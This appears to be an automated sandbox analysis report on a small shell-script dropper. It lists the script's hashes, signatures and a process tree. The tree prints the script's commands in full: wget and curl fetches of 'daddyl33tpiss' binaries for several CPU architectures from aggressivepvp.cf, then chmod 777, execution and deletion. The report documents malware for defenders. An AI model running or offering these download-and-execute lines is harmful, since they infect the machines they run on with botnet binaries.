Analysis

  • max time kernel
    24s
  • max time network
    26s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    15-07-2024 19:21

General

  • Target

    69f4dcd1de05fc553781e737e85bdae5f0e79e7f34ded1899d60630e54d43fe4.sh

  • Size

    2KB

  • MD5

    1ffa7d5e3a236cf0d6981d07e1b90406

  • SHA1

    9bdae03e2410b108144841c466d1e769fea3a9ce

  • SHA256

    69f4dcd1de05fc553781e737e85bdae5f0e79e7f34ded1899d60630e54d43fe4

  • SHA512

    6f2aea4615c2f2cf06fc7dd92d9dd24f8b79d3a89d9fb17a35dcd9170ed12f7b5c238ee64b99dfd19686cdccfca62580a4285cedbad11e4cc39315e0f8bba284

Score
3/10

Malware Config

Signatures

  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/69f4dcd1de05fc553781e737e85bdae5f0e79e7f34ded1899d60630e54d43fe4.sh
    /tmp/69f4dcd1de05fc553781e737e85bdae5f0e79e7f34ded1899d60630e54d43fe4.sh
    1⤵
      PID:709
      • /bin/cp
        cp /bin/busybox /tmp/
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:716
      • /usr/bin/wget
        wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.i486
        2⤵
          PID:718
        • /usr/bin/curl
          curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.i486
          2⤵
          • Reads runtime system information
          PID:733
        • /bin/chmod
          chmod 777 daddyl33tpiss.i486
          2⤵
            PID:739
          • /tmp/daddyl33tpiss.i486
            ./daddyl33tpiss.i486 Retard.i486.wget
            2⤵
              PID:740
            • /bin/rm
              rm -rf daddyl33tpiss.i486
              2⤵
                PID:741
              • /usr/bin/wget
                wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.x86_64
                2⤵
                  PID:742
                • /usr/bin/curl
                  curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.x86_64
                  2⤵
                  • Reads runtime system information
                  PID:744
                • /bin/chmod
                  chmod 777 daddyl33tpiss.x86_64
                  2⤵
                    PID:746
                  • /tmp/daddyl33tpiss.x86_64
                    ./daddyl33tpiss.x86_64 Retard.x86_64.wget
                    2⤵
                      PID:747
                    • /bin/rm
                      rm -rf daddyl33tpiss.x86_64
                      2⤵
                        PID:748
                      • /usr/bin/wget
                        wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.i586
                        2⤵
                          PID:749
                        • /usr/bin/curl
                          curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.i586
                          2⤵
                          • Reads runtime system information
                          PID:750
                        • /bin/chmod
                          chmod 777 daddyl33tpiss.i586
                          2⤵
                            PID:752
                          • /tmp/daddyl33tpiss.i586
                            ./daddyl33tpiss.i586 Retard.i586.wget
                            2⤵
                              PID:753
                            • /bin/rm
                              rm -rf daddyl33tpiss.i586
                              2⤵
                                PID:754
                              • /usr/bin/wget
                                wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.i686
                                2⤵
                                  PID:755
                                • /usr/bin/curl
                                  curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.i686
                                  2⤵
                                  • Reads runtime system information
                                  PID:756
                                • /bin/chmod
                                  chmod 777 daddyl33tpiss.i686
                                  2⤵
                                    PID:764
                                  • /tmp/daddyl33tpiss.i686
                                    ./daddyl33tpiss.i686 Retard.i686.wget
                                    2⤵
                                      PID:765
                                    • /bin/rm
                                      rm -rf daddyl33tpiss.i686
                                      2⤵
                                        PID:768
                                      • /usr/bin/wget
                                        wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.mips
                                        2⤵
                                          PID:769
                                        • /usr/bin/curl
                                          curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.mips
                                          2⤵
                                          • Reads runtime system information
                                          PID:807
                                        • /bin/chmod
                                          chmod 777 daddyl33tpiss.mips
                                          2⤵
                                            PID:809
                                          • /tmp/daddyl33tpiss.mips
                                            ./daddyl33tpiss.mips Retard.mips.wget
                                            2⤵
                                              PID:810
                                            • /bin/rm
                                              rm -rf daddyl33tpiss.mips
                                              2⤵
                                                PID:811
                                              • /usr/bin/wget
                                                wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.mipsel
                                                2⤵
                                                  PID:812

                                              Network

                                              MITRE ATT&CK Matrix

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • /tmp/busybox

                                                Filesize

                                                857KB

                                                MD5

                                                a39fe8036e559ce804e26518061e59ff

                                                SHA1

                                                8df27f6e8a48b762d945ea2f2b87390c80acd4de

                                                SHA256

                                                3180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38

                                                SHA512

                                                e97756f316fceef7360e789362648529eea50eb6f7cc56cf654b3fc43ca61f0e4d9f366ed8fd59b73dd5a49615e935e9f53686d15f9a83c7fa472a70e7196d0d